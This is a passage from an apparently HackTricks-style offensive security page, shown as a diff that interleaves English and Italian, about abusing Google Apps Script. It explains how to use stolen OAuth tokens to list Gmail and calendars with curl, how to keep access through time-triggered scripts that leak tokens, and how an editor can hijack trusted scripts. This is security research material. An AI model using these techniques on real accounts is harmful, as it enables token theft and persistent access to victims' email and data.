If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Se l'utente lo copia e lo accede, sia i **contenuti del documento che gli App Scripts verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.
|
||||
|
||||
### Sharing as Web Application
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Nota che è anche possibile **condividere un App Script come un'applicazione Web** (nell'Editor dell'App Script, distribuisci come un'applicazione Web), ma apparirà un avviso come questo:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Seguito dal **tipico prompt OAuth che chiede** i permessi necessari.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
|
||||
Puoi testare un token raccolto per elencare le email con:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Elenca il calendario dell'utente:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script come Persistenza
|
||||
|
||||
## App Script as Persistence
|
||||
Una opzione per la persistenza sarebbe **creare un documento e aggiungere un trigger per la funzione getToken** e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file, **esfiltri il token della vittima.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
È anche possibile creare un App Script e farlo attivare ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha **credenziali compromesse o una sessione di una vittima potrebbe impostare un trigger temporale per l'App Script e leakare un token OAuth molto privilegiato ogni giorno**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e selezionare come sorgente evento Time-driven e selezionare le opzioni che meglio si adattano a te:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Bypass del Prompt Non Verificato del Documento Condiviso
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Questo significa che il **creatore del documento apparirà come creatore di qualsiasi App Script** che chiunque con accesso in modifica crea al suo interno.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> Questo significa anche che l'**App Script sarà fidato dall'ambiente Workspace** del creatore del documento.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> Questo significa anche che se un **App Script esisteva già** e le persone hanno **concesso accesso**, chiunque con permesso di **Modifica** sul documento può **modificarlo e abusare di quell'accesso.**\
|
||||
> Per abusare di questo hai anche bisogno che le persone attivino l'App Script. E un trucco interessante è **pubblicare lo script come un'app web**. Quando le **persone** che hanno già concesso **accesso** all'App Script accedono alla pagina web, **attiveranno l'App Script** (questo funziona anche usando i tag `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user